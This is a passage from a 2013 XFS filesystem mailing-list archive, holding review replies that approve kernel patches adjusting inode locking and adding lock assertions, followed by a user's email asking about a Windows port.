QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142946 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Fri, Dec 06, 2013 at 12:30:12PM -0800, Christoph Hellwig wrote: > Signed-off-by: Christoph Hellwig > > Index: xfs/fs/xfs/xfs_bmap_util.c > =================================================================== > --- xfs.orig/fs/xfs/xfs_bmap_util.c 2013-12-06 19:37:36.715162723 +0100 > +++ xfs/fs/xfs/xfs_bmap_util.c 2013-12-06 19:38:45.643161309 +0100 > @@ -1175,9 +1175,15 @@ xfs_zero_remaining_bytes( > xfs_buf_unlock(bp); > > for (offset = startoff; offset <= endoff; offset = lastoffset + 1) { > + uint lock_mode; > + > offset_fsb = XFS_B_TO_FSBT(mp, offset); > nimap = 1; > + > + lock_mode = xfs_ilock_data_map_shared(ip); > error = xfs_bmapi_read(ip, offset_fsb, 1, &imap, &nimap, 0); > + xfs_iunlock(ip, lock_mode); > + > if (error || nimap < 1) > break; > ASSERT(imap.br_blockcount >= 1); Looks good. Reviewed-by: Dave Chinner -- Dave Chinner david@fromorbit.com From david@fromorbit.com Sun Dec 8 16:38:30 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id A89507F8B for ; Sun, 8 Dec 2013 16:38:30 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 822578F8039 for ; Sun, 8 Dec 2013 14:38:30 -0800 (PST) X-ASG-Debug-ID: 1386542300-04bdf013211176b0001-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id IpqJMsutIAjqgAr0 for ; Sun, 08 Dec 2013 14:38:20 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AicIAIvzpFJ5LHyk/2dsb2JhbABZgweDNrEWhU+BFxd0giUBAQUnExwjEAgDDgoJJQ8FJQMhE4gBwGUXFo4tTQeEMwOYE4pMh0iDPSiBLQ Received: from ppp121-44-124-164.lns20.syd6.internode.on.net (HELO dastard) ([121.44.124.164]) by ipmail06.adl2.internode.on.net with ESMTP; 09 Dec 2013 09:08:20 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VpmzE-0007R2-F8; Mon, 09 Dec 2013 09:38:04 +1100 Date: Mon, 9 Dec 2013 09:38:04 +1100 From: Dave Chinner To: Christoph Hellwig Cc: xfs@oss.sgi.com Subject: Re: [PATCH 07/11] xfs: use xfs_ilock_data_map_shared in xfs_qm_dqtobp Message-ID: <20131208223804.GH31386@dastard> X-ASG-Orig-Subj: Re: [PATCH 07/11] xfs: use xfs_ilock_data_map_shared in xfs_qm_dqtobp References: <20131206203006.914776999@bombadil.infradead.org> <20131206203129.064095439@bombadil.infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131206203129.064095439@bombadil.infradead.org> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1386542300 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142946 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Fri, Dec 06, 2013 at 12:30:13PM -0800, Christoph Hellwig wrote: > We might not have read in the extent list at this point, so make sure we > take the ilock exclusively if we have to do so. > > Signed-off-by: Christoph Hellwig > > Index: xfs/fs/xfs/xfs_dquot.c > =================================================================== > --- xfs.orig/fs/xfs/xfs_dquot.c 2013-12-06 17:20:27.571331599 +0100 > +++ xfs/fs/xfs/xfs_dquot.c 2013-12-06 19:39:42.307160146 +0100 > @@ -469,16 +469,17 @@ xfs_qm_dqtobp( > struct xfs_mount *mp = dqp->q_mount; > xfs_dqid_t id = be32_to_cpu(dqp->q_core.d_id); > struct xfs_trans *tp = (tpp ? *tpp : NULL); > + uint lock_mode; > > dqp->q_fileoffset = (xfs_fileoff_t)id / mp->m_quotainfo->qi_dqperchunk; > > - xfs_ilock(quotip, XFS_ILOCK_SHARED); > + lock_mode = xfs_ilock_data_map_shared(quotip); > if (!xfs_this_quota_on(dqp->q_mount, dqp->dq_flags)) { > /* > * Return if this type of quotas is turned off while we > * didn't have the quota inode lock. > */ > - xfs_iunlock(quotip, XFS_ILOCK_SHARED); > + xfs_iunlock(quotip, lock_mode); > return ESRCH; > } > > @@ -488,7 +489,7 @@ xfs_qm_dqtobp( > error = xfs_bmapi_read(quotip, dqp->q_fileoffset, > XFS_DQUOT_CLUSTER_SIZE_FSB, &map, &nmaps, 0); > > - xfs_iunlock(quotip, XFS_ILOCK_SHARED); > + xfs_iunlock(quotip, lock_mode); > if (error) > return error; Looks fine - it doesn't change the race condition w/ dquot creation at all, so we can ignore that for now... Reviewed-by: Dave Chinner -- Dave Chinner david@fromorbit.com From david@fromorbit.com Sun Dec 8 16:39:05 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id F180F7F8B for ; Sun, 8 Dec 2013 16:39:04 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id DC2F68F8033 for ; Sun, 8 Dec 2013 14:39:04 -0800 (PST) X-ASG-Debug-ID: 1386542337-04cb6c537c60db70001-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id miu2nyiQ5bhN23Xa for ; Sun, 08 Dec 2013 14:38:57 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AicIALf0pFJ5LHyk/2dsb2JhbABZgweDNrEWhU+BFxd0giUBAQUnExwjEAgDDgoJJQ8FJQMhE4gBwGgXFo56B4QzA5gTikyHSIM9KA Received: from ppp121-44-124-164.lns20.syd6.internode.on.net (HELO dastard) ([121.44.124.164]) by ipmail06.adl2.internode.on.net with ESMTP; 09 Dec 2013 09:08:32 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1Vpmza-0007RC-Md; Mon, 09 Dec 2013 09:38:26 +1100 Date: Mon, 9 Dec 2013 09:38:26 +1100 From: Dave Chinner To: Christoph Hellwig Cc: xfs@oss.sgi.com Subject: Re: [PATCH 08/11] xfs: use xfs_ilock_data_map_shared in xfs_qm_dqiterate Message-ID: <20131208223826.GI31386@dastard> X-ASG-Orig-Subj: Re: [PATCH 08/11] xfs: use xfs_ilock_data_map_shared in xfs_qm_dqiterate References: <20131206203006.914776999@bombadil.infradead.org> <20131206203129.185131308@bombadil.infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131206203129.185131308@bombadil.infradead.org> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1386542337 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142946 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Fri, Dec 06, 2013 at 12:30:14PM -0800, Christoph Hellwig wrote: > We might not have read in the extent list at this point, so make sure we > take the ilock exclusively if we have to do so. > > Signed-off-by: Christoph Hellwig > > Index: xfs/fs/xfs/xfs_qm.c > =================================================================== > --- xfs.orig/fs/xfs/xfs_qm.c 2013-12-06 17:20:27.491331600 +0100 > +++ xfs/fs/xfs/xfs_qm.c 2013-12-06 19:39:27.251160455 +0100 > @@ -1193,16 +1193,18 @@ xfs_qm_dqiterate( > lblkno = 0; > maxlblkcnt = XFS_B_TO_FSB(mp, mp->m_super->s_maxbytes); > do { > + uint lock_mode; > + > nmaps = XFS_DQITER_MAP_SIZE; > /* > * We aren't changing the inode itself. Just changing > * some of its data. No new blocks are added here, and > * the inode is never added to the transaction. > */ > - xfs_ilock(qip, XFS_ILOCK_SHARED); > + lock_mode = xfs_ilock_data_map_shared(qip); > error = xfs_bmapi_read(qip, lblkno, maxlblkcnt - lblkno, > map, &nmaps, 0); > - xfs_iunlock(qip, XFS_ILOCK_SHARED); > + xfs_iunlock(qip, lock_mode); > if (error) > break; looks good. Reviewed-by: Dave Chinner -- Dave Chinner david@fromorbit.com From david@fromorbit.com Sun Dec 8 16:39:14 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 0D3327FA0 for ; Sun, 8 Dec 2013 16:39:14 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 981E4AC001 for ; Sun, 8 Dec 2013 14:39:13 -0800 (PST) X-ASG-Debug-ID: 1386542346-04bdf01323117710001-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id 5Gp9tqE69r3cbPKh for ; Sun, 08 Dec 2013 14:39:07 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AicIALf0pFJ5LHyk/2dsb2JhbABZgweDNrEWhU+BFxd0giUBAQU6HCMQCAMOCgklDwUlAyETiAHAaBcWjnoHhDMDmBOKTIdIgz0o Received: from ppp121-44-124-164.lns20.syd6.internode.on.net (HELO dastard) ([121.44.124.164]) by ipmail06.adl2.internode.on.net with ESMTP; 09 Dec 2013 09:09:06 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1Vpn0A-0007Rq-EL; Mon, 09 Dec 2013 09:39:02 +1100 Date: Mon, 9 Dec 2013 09:39:02 +1100 From: Dave Chinner To: Christoph Hellwig Cc: xfs@oss.sgi.com Subject: Re: [PATCH 09/11] xfs: use xfs_ilock_attr_map_shared in xfs_attr_get Message-ID: <20131208223902.GJ31386@dastard> X-ASG-Orig-Subj: Re: [PATCH 09/11] xfs: use xfs_ilock_attr_map_shared in xfs_attr_get References: <20131206203006.914776999@bombadil.infradead.org> <20131206203129.330138179@bombadil.infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131206203129.330138179@bombadil.infradead.org> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1386542346 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142946 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Fri, Dec 06, 2013 at 12:30:15PM -0800, Christoph Hellwig wrote: > We might not have read in the extent list at this point, so make sure we > take the ilock exclusively if we have to do so. > > Signed-off-by: Christoph Hellwig > > Index: xfs/fs/xfs/xfs_attr.c > =================================================================== > --- xfs.orig/fs/xfs/xfs_attr.c 2013-12-06 17:20:27.447331601 +0100 > +++ xfs/fs/xfs/xfs_attr.c 2013-12-06 19:41:05.119158446 +0100 > @@ -164,6 +164,7 @@ xfs_attr_get( > { > int error; > struct xfs_name xname; > + uint lock_mode; > > XFS_STATS_INC(xs_attr_get); > > @@ -174,9 +175,9 @@ xfs_attr_get( > if (error) > return error; > > - xfs_ilock(ip, XFS_ILOCK_SHARED); > + lock_mode = xfs_ilock_attr_map_shared(ip); > error = xfs_attr_get_int(ip, &xname, value, valuelenp, flags); > - xfs_iunlock(ip, XFS_ILOCK_SHARED); > + xfs_iunlock(ip, lock_mode); > return(error); > } Yup, that should fix the assert problem. :) Reviewed-by: Dave Chinner -- Dave Chinner david@fromorbit.com From david@fromorbit.com Sun Dec 8 16:39:33 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 5A4677F9F for ; Sun, 8 Dec 2013 16:39:33 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id DB9F0AC001 for ; Sun, 8 Dec 2013 14:39:32 -0800 (PST) X-ASG-Debug-ID: 1386542367-04cb6c537d60dbc0001-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id 0lxACoIaUqdF5zBE for ; Sun, 08 Dec 2013 14:39:28 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AicIALf0pFJ5LHyk/2dsb2JhbABZgweDNrEWhU+BFxd0giUBAQUnExwjEAgDDgoJJQ8FJQMhE4gBwGgXFo56B4QzA5gTikyHSIM9KA Received: from ppp121-44-124-164.lns20.syd6.internode.on.net (HELO dastard) ([121.44.124.164]) by ipmail06.adl2.internode.on.net with ESMTP; 09 Dec 2013 09:09:27 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1Vpn0V-0007Ry-Sq; Mon, 09 Dec 2013 09:39:23 +1100 Date: Mon, 9 Dec 2013 09:39:23 +1100 From: Dave Chinner To: Christoph Hellwig Cc: xfs@oss.sgi.com Subject: Re: [PATCH 10/11] xfs: use xfs_ilock_attr_map_shared in xfs_attr_list_int Message-ID: <20131208223923.GK31386@dastard> X-ASG-Orig-Subj: Re: [PATCH 10/11] xfs: use xfs_ilock_attr_map_shared in xfs_attr_list_int References: <20131206203006.914776999@bombadil.infradead.org> <20131206203129.460873551@bombadil.infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131206203129.460873551@bombadil.infradead.org> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1386542367 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142946 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Fri, Dec 06, 2013 at 12:30:16PM -0800, Christoph Hellwig wrote: > We might not have read in the extent list at this point, so make sure we > take the ilock exclusively if we have to do so. > > Signed-off-by: Christoph Hellwig > > Index: xfs/fs/xfs/xfs_attr_list.c > =================================================================== > --- xfs.orig/fs/xfs/xfs_attr_list.c 2013-12-06 17:20:27.371331603 +0100 > +++ xfs/fs/xfs/xfs_attr_list.c 2013-12-06 19:41:42.779157674 +0100 > @@ -507,17 +507,17 @@ xfs_attr_list_int( > { > int error; > xfs_inode_t *dp = context->dp; > + uint lock_mode; > > XFS_STATS_INC(xs_attr_list); > > if (XFS_FORCED_SHUTDOWN(dp->i_mount)) > return EIO; > > - xfs_ilock(dp, XFS_ILOCK_SHARED); > - > /* > * Decide on what work routines to call based on the inode size. > */ > + lock_mode = xfs_ilock_attr_map_shared(dp); > if (!xfs_inode_hasattr(dp)) { > error = 0; > } else if (dp->i_d.di_aformat == XFS_DINODE_FMT_LOCAL) { > @@ -527,9 +527,7 @@ xfs_attr_list_int( > } else { > error = xfs_attr_node_list(context); > } > - > - xfs_iunlock(dp, XFS_ILOCK_SHARED); > - > + xfs_iunlock(dp, lock_mode); > return error; > } Looks good. Reviewed-by: Dave Chinner -- Dave Chinner david@fromorbit.com From david@fromorbit.com Sun Dec 8 16:40:24 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 9E9BC7FA0 for ; Sun, 8 Dec 2013 16:40:24 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 7EEBD304032 for ; Sun, 8 Dec 2013 14:40:24 -0800 (PST) X-ASG-Debug-ID: 1386542414-04cb6c537d60dc20001-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id J1aSnYrGBiR9DwQd for ; Sun, 08 Dec 2013 14:40:15 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AicIALf0pFJ5LHyk/2dsb2JhbABZgweDNrEWhU+BFxd0giUBAQUnExwjEAgDDgoJJQ8FJQMhE4gBwGgXFo56B4QzA5gTkhSDPSg Received: from ppp121-44-124-164.lns20.syd6.internode.on.net (HELO dastard) ([121.44.124.164]) by ipmail06.adl2.internode.on.net with ESMTP; 09 Dec 2013 09:10:14 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1Vpn18-0007S5-Mv; Mon, 09 Dec 2013 09:40:02 +1100 Date: Mon, 9 Dec 2013 09:40:02 +1100 From: Dave Chinner To: Christoph Hellwig Cc: xfs@oss.sgi.com Subject: Re: [PATCH 11/11] xfs: assert that we hold the ilock for extent map access Message-ID: <20131208224002.GL31386@dastard> X-ASG-Orig-Subj: Re: [PATCH 11/11] xfs: assert that we hold the ilock for extent map access References: <20131206203006.914776999@bombadil.infradead.org> <20131206203129.612520870@bombadil.infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131206203129.612520870@bombadil.infradead.org> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1386542414 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142946 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Fri, Dec 06, 2013 at 12:30:17PM -0800, Christoph Hellwig wrote: > Make sure that xfs_bmapi_read has the ilock held in some way, and that > xfs_bmapi_write, xfs_bmapi_delay, xfs_bunmapi and xfs_iread_extents are > called with the ilock held exclusively. > > Signed-off-by: Christoph Hellwig > > Index: xfs/fs/xfs/xfs_bmap.c > =================================================================== > --- xfs.orig/fs/xfs/xfs_bmap.c 2013-11-29 14:25:12.172459195 +0100 > +++ xfs/fs/xfs/xfs_bmap.c 2013-12-05 10:03:28.243801633 +0100 > @@ -3997,6 +3997,7 @@ xfs_bmapi_read( > ASSERT(*nmap >= 1); > ASSERT(!(flags & ~(XFS_BMAPI_ATTRFORK|XFS_BMAPI_ENTIRE| > XFS_BMAPI_IGSTATE))); > + ASSERT(xfs_isilocked(ip, XFS_ILOCK_SHARED|XFS_ILOCK_EXCL)); > > if (unlikely(XFS_TEST_ERROR( > (XFS_IFORK_FORMAT(ip, whichfork) != XFS_DINODE_FMT_EXTENTS && > @@ -4191,6 +4192,7 @@ xfs_bmapi_delay( > ASSERT(*nmap >= 1); > ASSERT(*nmap <= XFS_BMAP_MAX_NMAP); > ASSERT(!(flags & ~XFS_BMAPI_ENTIRE)); > + ASSERT(xfs_isilocked(ip, XFS_ILOCK_EXCL)); > > if (unlikely(XFS_TEST_ERROR( > (XFS_IFORK_FORMAT(ip, XFS_DATA_FORK) != XFS_DINODE_FMT_EXTENTS && > @@ -4484,6 +4486,7 @@ xfs_bmapi_write( > ASSERT(tp != NULL); > ASSERT(len > 0); > ASSERT(XFS_IFORK_FORMAT(ip, whichfork) != XFS_DINODE_FMT_LOCAL); > + ASSERT(xfs_isilocked(ip, XFS_ILOCK_EXCL)); > > if (unlikely(XFS_TEST_ERROR( > (XFS_IFORK_FORMAT(ip, whichfork) != XFS_DINODE_FMT_EXTENTS && > Index: xfs/fs/xfs/xfs_inode_fork.c > =================================================================== > --- xfs.orig/fs/xfs/xfs_inode_fork.c 2013-12-05 09:57:24.347809100 +0100 > +++ xfs/fs/xfs/xfs_inode_fork.c 2013-12-05 09:59:04.767807039 +0100 > @@ -431,6 +431,8 @@ xfs_iread_extents( > xfs_ifork_t *ifp; > xfs_extnum_t nextents; > > + ASSERT(xfs_isilocked(ip, XFS_ILOCK_EXCL)); > + > if (unlikely(XFS_IFORK_FORMAT(ip, whichfork) != XFS_DINODE_FMT_BTREE)) { > XFS_ERROR_REPORT("xfs_iread_extents", XFS_ERRLEVEL_LOW, > ip->i_mount); > Index: xfs/fs/xfs/xfs_bmap.c > =================================================================== > --- xfs.orig/fs/xfs/xfs_bmap.c 2013-12-05 22:12:32.931838271 +0100 > +++ xfs/fs/xfs/xfs_bmap.c 2013-12-05 22:35:59.175809412 +0100 > @@ -5038,6 +5038,7 @@ xfs_bunmapi( > if (XFS_FORCED_SHUTDOWN(mp)) > return XFS_ERROR(EIO); > > + ASSERT(xfs_isilocked(ip, XFS_ILOCK_EXCL)); > ASSERT(len > 0); > ASSERT(nexts >= 0); I can't think of anywhere else we need to add asserts for this, so it seems fine to me. Reviewed-by: Dave Chinner -- Dave Chinner david@fromorbit.com From yuji1@mail.com Sun Dec 8 17:24:59 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.3 required=5.0 tests=FREEMAIL_ENVFROM_END_DIGIT, FREEMAIL_FROM,HTML_MESSAGE autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 09D957FA6 for ; Sun, 8 Dec 2013 17:24:59 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id BD7DB304032 for ; Sun, 8 Dec 2013 15:24:55 -0800 (PST) X-ASG-Debug-ID: 1386545080-04bdf013211191e0001-NocioJ Received: from mout.gmx.net (mout.gmx.net [74.208.4.200]) by cuda.sgi.com with ESMTP id erBl9X8gYTJeBPGH (version=TLSv1 cipher=AES128-SHA bits=128 verify=NO) for ; Sun, 08 Dec 2013 15:24:42 -0800 (PST) X-Barracuda-Envelope-From: yuji1@mail.com X-Barracuda-Apparent-Source-IP: 74.208.4.200 Received: from SAEKIPC ([67.252.103.153]) by mail.gmx.com (mrgmxus002) with ESMTPA (Nemesis) id 0MWC5f-1W5LRs3mWH-00XNdI for ; Mon, 09 Dec 2013 00:24:38 +0100 From: "Yuji Saeki" To: Subject: XFS...Windows? Date: Sun, 8 Dec 2013 18:24:38 -0500 X-ASG-Orig-Subj: XFS...Windows? Message-ID: <000001cef46c$ab687cc0$02397640$@mail.com> MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_0001_01CEF442.C2931100" X-Mailer: Microsoft Outlook 15.0 Thread-Index: Ac70bA7YDvNVLcXPRq+MqrRVGrDXmA== Content-Language: en-us X-Provags-ID: V03:K0:ihJqjEa+bdaVULTa2hJIUVajRfuiTe/oX1aASyzzZRdXleAv4Gf RGephT/Jk58LruKlFj+8KfZNXOwOqpZm0/S/DzuxJzAt4lGnLjrSrjQxaGguzE29KrA2NGP uqcp8VJkLEqOV1aRd9hG7eE/jRBZc03eAHowOBzeMn1GcZFM9ST0fRGq49Qzl940giZB3wj yRnxdexMp8AMcRWP2WtRA== X-Barracuda-Connect: mout.gmx.net[74.208.4.200] X-Barracuda-Start-Time: 1386545082 X-Barracuda-Encrypted: AES128-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.01 X-Barracuda-Spam-Status: No, SCORE=0.01 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=HTML_MESSAGE, THREAD_INDEX X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142947 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.01 THREAD_INDEX thread-index: AcO7Y8iR61tzADqsRmmc5wNiFHEOig== 0.00 HTML_MESSAGE BODY: HTML included in message This is a multipart message in MIME format. ------=_NextPart_000_0001_01CEF442.C2931100 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: quoted-printable Congratulations on your file system, it=E2=80=99s quite nice. = I=E2=80=99ve benchmarked it myself, it=E2=80=99s very impressive. = I=E2=80=99m curious though, is there are thought to a Windows driver? If = someone ported the most current-stable version to Windows (free) under = the same license =E2=80=98GNU Lesser General Public License=E2=80=99 = with entire credit to XFS, would SGI be okay with that? A = =E2=80=98no-warranty implied=E2=80=99 (etc) kind of protection of = course. Quite a few devs that I work with enjoy the XFS filesystem and = we dev in both Linux and Windows. We=E2=80=99re very interested in = making this happen with respect to the XFS project. ------=_NextPart_000_0001_01CEF442.C2931100 Content-Type: text/html; charset="utf-8" Content-Transfer-Encoding: quoted-printable

Congratulations on your file system, it=E2=80=99s = quite nice. I=E2=80=99ve benchmarked it myself, it=E2=80=99s very = impressive. I=E2=80=99m curious though, is there are thought to a = Windows driver? If someone ported the most current-stable version to = Windows (free) under the same license =E2=80=98GNU Lesser General Public = License=E2=80=99 with entire credit to XFS, would SGI be okay with that? = A =E2=80=98no-warranty implied=E2=80=99 (etc) kind of protection of = course. Quite a few devs that I work with enjoy the XFS filesystem and = we dev in both Linux and Windows. We=E2=80=99re very interested in = making this happen with respect to the XFS = project.

------=_NextPart_000_0001_01CEF442.C2931100-- From jaegeuk.kim@samsung.com Sun Dec 8 17:30:02 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.5 required=5.0 tests=HDRS_LCASE_1K autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 1C7CD7FA8 for ; Sun, 8 Dec 2013 17:30:02 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id C339D8F8040 for ; Sun, 8 Dec 2013 15:29:58 -0800 (PST) X-ASG-Debug-ID: 1386545388-04bdf013221194b0001-NocioJ Received: from mailout1.samsung.com (mailout1.samsung.com [203.254.224.24]) by cuda.sgi.com with ESMTP id mBhOUQENY3JuRael (version=TLSv1 